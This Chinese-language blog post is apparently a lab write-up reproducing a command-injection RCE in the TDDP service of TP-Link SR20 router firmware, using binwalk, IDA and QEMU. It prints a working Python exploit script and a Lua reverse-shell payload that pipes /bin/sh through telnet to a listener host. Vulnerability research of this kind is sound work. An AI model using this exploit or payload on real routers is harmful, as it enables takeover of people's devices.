boxmoe_header_banner_img

hello, cyberspace security!

文章导读

TP-Link Smart Home Router远程代码执行漏洞


avatar
ra1ny 2026年1月14日 80

漏洞分析

binwalk提取文件系统:

➜  firmware binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin 

Scan Time:     2026-01-14 08:36:21
Target File:   /home/ra1ny/firmware/tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
MD5 Checksum:  77ba786e31e77a14f669865ebe429e87
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
155672        0x26018         LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 300028 bytes
233464        0x38FF8         TRX firmware header, little endian, image size: 1941504 bytes, CRC32: 0x2DAE9AF0, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0
233492        0x39014         LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4629600 bytes
1635467       0x18F48B        StuffIt Deluxe Segment (data): f%

WARNING: Symlink points outside of the extraction directory: /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root/var -> /tmp; changing link target to /dev/null for security purposes.
...
WARNING: Symlink points outside of the extraction directory: /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root/etc/ppp/resolv.conf -> /tmp/resolv.conf.ppp; changing link target to /dev/null for security purposes.
2174969       0x212FF9        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13061274 bytes, 2642 inodes, blocksize: 131072 bytes, created: 2018-05-19 04:25:38
15897446      0xF29366        CRC32 polynomial table, little endian
15901542      0xF2A366        CRC32 polynomial table, big endian
16336334      0xF945CE        CRC32 polynomial table, little endian
16786550      0x1002476       Unix path: /var/log/database/onboarding_status
16907919      0x101FE8F       PNG image, 80 x 80, 8-bit/color RGBA, non-interlaced
...
18390494      0x1189DDE       PNG image, 80 x 80, 8-bit/color RGBA, non-interlaced


Scan Time:     2026-01-14 08:36:23
Target File:   /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/26018
MD5 Checksum:  553e40e02f73b6b88fb32d3afe4f00a7
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
264232        0x40828         Copyright string: "Copyright (C) 2000-2008 Broadcom Corporation."


Scan Time:     2026-01-14 08:36:23
Target File:   /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/39014
MD5 Checksum:  c10e969334a47b84e2ed8ec15437d181
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
131072        0x20000         ASCII cpio archive (SVR4 with no CRC), file name: "/dev", file name length: "0x00000005", file size: "0x00000000"
...
4523359       0x45055F        LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 32 bytes


Scan Time:     2026-01-14 08:36:24
Target File:   /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/_39014.extracted/33F5B
MD5 Checksum:  3b5d3c7d207e37dceeedd301e35e2e58
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------


Scan Time:     2026-01-14 08:36:24
Target File:   /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/_39014.extracted/45055F
MD5 Checksum:  70bc8f4b72a86921468bf8e8441dce51
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

进入.extracted后缀的目录,然后进入squashfs,查找tddp程序

➜  squashfs-root ls
bin  etc  media  overlay  rom   sbin         sys        tmp  var
dev  lib  mnt    proc     root  sd_zwave_ip  ti_zstack  usr  www
➜  squashfs-root find ./ -name "tddp"     
./usr/bin/tddp

将tddp下载下来,放入ida pro分析。shift + f12ctrl + f搜索tddp,会发现存在tddp_taskEntry,双击进去,
![[Pasted image 20260114201326.png]]
会发现函数sub_936C,查找这个函数
![[Pasted image 20260114201432.png]]
进入函数后,tab反汇编伪代码,存在一个if判断,然后进行一些初始化操作,然后会进入while循环,然后设置了执行一个sub_16418()函数;

    while ( 1 )
    {
      do
      {
        timeout.tv_sec = 600;    // 10分钟超时
        timeout.tv_usec = 0;
        readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F);
        v7 = select(nfds, &readfds, 0, 0, &timeout);  // 调用select
        if ( sub_9340() - v6[13] > v6[12] )
          v6[8] = 0;
      }
      while ( v7 == -1 );   // 仅处理select -1的情况
      if ( !v7 )
        break;
      if ( ((readfds.__fds_bits[v6[9] >> 5] >> (v6[9] & 0x1F)) & 1) != 0 )
        sub_16418(v6);
    }

进入sub_16418会对v6进行处理

  v14 = recvfrom(a1[9], (char *)a1 + 45083, 0xAFC8u, 0, &p_addr, &addr_len);
  if ( v14 < 0 )
    return sub_13018(-10106, "receive error");
  sub_15458(a1);
  a1[11] |= 1u;
  n2 = *v16;
  if ( n2 == 1 )
  {
    if ( sub_15AD8(a1, &p_addr) )
    {
      a1[13] = sub_9340();
      v17 = sub_15E74(a1, &n);
    }
    else
    {
      v17 = -10301;
      *v15 = 1;
      v15[1] = v16[1];
      v15[2] = 2;
      v15[3] = 8;
      *((_DWORD *)v15 + 1) = htonl(0);
      v5 = (v16[9] << 8) | v16[8];
      v6 = v15;
      v15[8] = v16[8];
      v6[9] = HIBYTE(v5);
    }
  }
  else if ( n2 == 2 )
  {
  ...

根据TDDP数据包的,第一个字节用来判断TPPD的版本,当TDDP的版本为v1时,才会继续执行后续的程序。所以会判断n2是否为1,如果n2 == 1则进入sub_15E74()函数。

  switch ( *(_BYTE *)(a1 + 45084) )
  {
    case 4:
      printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", "tddp_parserVerOneOpt", 697);
      v9 = sub_AC78(a1);
      break;
      ...
    case 0x31:
      printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", "tddp_parserVerOneOpt", 692);
      v9 = sub_A580(a1);
      break;
      ...      

可以看出,当第二个字节为0x31时,会执行sub_A580()。然后跟进这个函数会发现

  sub_91DC("cd /tmp;tftp -gr %s %s &", s, s_3);
  sprintf(name, "/tmp/%s", s)

此处会把"cd /tmp;tftp -gr %s %s &", s, s_3传入sub_91DC();然后跟进sub_91DC()

  ...
  char s[256];  // 固定大小缓冲区
  ...

  vsprintf(s, format, varg_r1);  // 无长度限制的格式化,可以进行缓冲区溢出攻击。
  printf("[%s():%d] cmd: %s \r\n", "tddp_execCmd", 72, s);
  pid = fork();
  if ( pid < 0 )
    return -1;
  if ( !pid )
  {
    argv = "sh";
    _c = "-c";
    s_1 = s;
    v6 = 0;
    execve("/bin/sh", &argv, 0);
    exit(127);
  }

对于这部分代码,首先在char s[256]会有缓冲区溢出攻击,其次在format参数内,含有用户输入。对于vsprintf对应的内容,此处假设传入sub_91DC()s=paylod并且s_3=10.10.10.1

s       ← 目标缓冲区(char[256])
format  ← "cd tmp;tftp -gr %s %s &"
varg_r1 ← 包含两个字符串参数:"payload", "10.10.10.1"
结果:s = "cd tmp;tftp -gr /payload 10.10.10.1&"

然后,会执行execve系统调用执行/bin/sh -c上面的参数,这样就造成了命令注入。

qemu模拟复现

先对squashfs-root目录进行压缩。

tar -cf squashfs-root.tar squashfs-root

然后在当前面目录运行

python3 -m http.server 

然后开启新的终端,配置虚拟网卡,使得双方可以通信。

sudo ip tuntap add tap0 mode tap user `whoami`
sudo ip addr add 10.10.10.1/24 dev tap0
sudo ip link set tap0 up
sudo ip addr show tap0

配置tftp服务

sudo apt install tftp-hpa
sudo vim /etc/default/tftpd-hpa

修改TFTP_DIRECTORYTFTP_ADDRESS,修改为:

# /etc/default/tftpd-hpa

TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/tftpboot"
TFTP_ADDRESS="10.10.10.1:69"
TFTP_OPTIONS="--secure"

创建在/目录创建/tftpboot,并配置读写执行权限,并写入payload

mkdir /tftpboot
sudo chmod 777 /tftpboot
vim /tftpboot/payload

写入以下内容

function config_test(config)
os.execute("mknod a p; telnet 10.10.10.1 3333 0<a | /bin/sh 1>a")
end

然后

sudo systemctl restart tftpd-hpa

然后使用qemu模拟固件,需要使用arm环境。因此,需要下载debian arm镜像

https://people.debian.org/~aurel32/qemu/armhf/

打开链接,选择下载debian_wheezy_armhf_standard.qcow2initrd.img-3.2.0-4-vexpressvmlinuz-3.2.0-4-vexpress。然后复制到刚才binwalk提取出的.extracted目录。启动qemu arm虚拟机:

sudo qemu-system-arm \
    -M vexpress-a9 \
    -kernel vmlinuz-3.2.0-4-vexpress \
    -initrd initrd.img-3.2.0-4-vexpress \
    -sd debian_wheezy_armhf_standard.qcow2 \
    -append "root=/dev/mmcblk0p2 console=ttyAMA0 rootwait" \
    -net nic \
    -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

启动时会报错:

alsa: Could not initialize DAC
alsa: Failed to open `default':
alsa: Reason: Host is down
alsa: Could not initialize DAC
alsa: Failed to open `default':
alsa: Reason: Host is down
audio: Could not create a backend for voice `lm4549.out'
qemu-system-arm: Invalid SD card size: 25 GiB
SD card size has to be a power of 2, e.g. 32 GiB.
You can resize disk images with 'qemu-img resize <imagefile> <new-size>'
(note that this will lose data if you make the image smaller than it currently is).

这是一个常见问题。QEMU 的 SD 卡模拟要求磁盘大小必须是 2 的幂次方(如 16G、32G、64G)。这个镜像大小是 25GiB,不符合要求。所以将镜像调整到32GB是一个最简单的方法

qemu-img resize debian_wheezy_armhf_standard.qcow2 32G

然后按照一开始的命令重新启动。启动完成后会进入

Debian GNU/Linux 7 debian-armhf ttyAMA0

debian-armhf login:

此时输入root,然后回车,输入root会登入系统。然后配置qemu arm的网卡:

ip addr add 10.10.10.2/24 dev eth0
ip link set eth0 up

测试网络连通性。然后在qemu内,通过wgetsquashfs-root.tar传进qemu

wget http://10.10.10.1:8000/squashfs-root.tar

然后解压

tar -xf squashfs-root.tar

切换根路径

chroot ./squashfs-root sh

然后运行进程

./usr/bin/tddp

然后开启监听端口

nc -nlvp 3333

然后创建exp.py

#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0

# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename

import sys
import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

然后运行python脚本

python3 exp.py 10.10.10.2 /payload

然后返回nc监听的地方,便反弹了shell了
![[Pasted image 20260114154242.png]]

这个也是通过talent反弹,但是需要监听两个端口,一个作为bash一个作为回显。
只需要修改payload部分

function config_test(config)
os.execute("mknod a p; telnet 10.10.10.1 3333 0<a | /bin/sh 1>a")
end

![[Pasted image 20260114152445.png]]



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码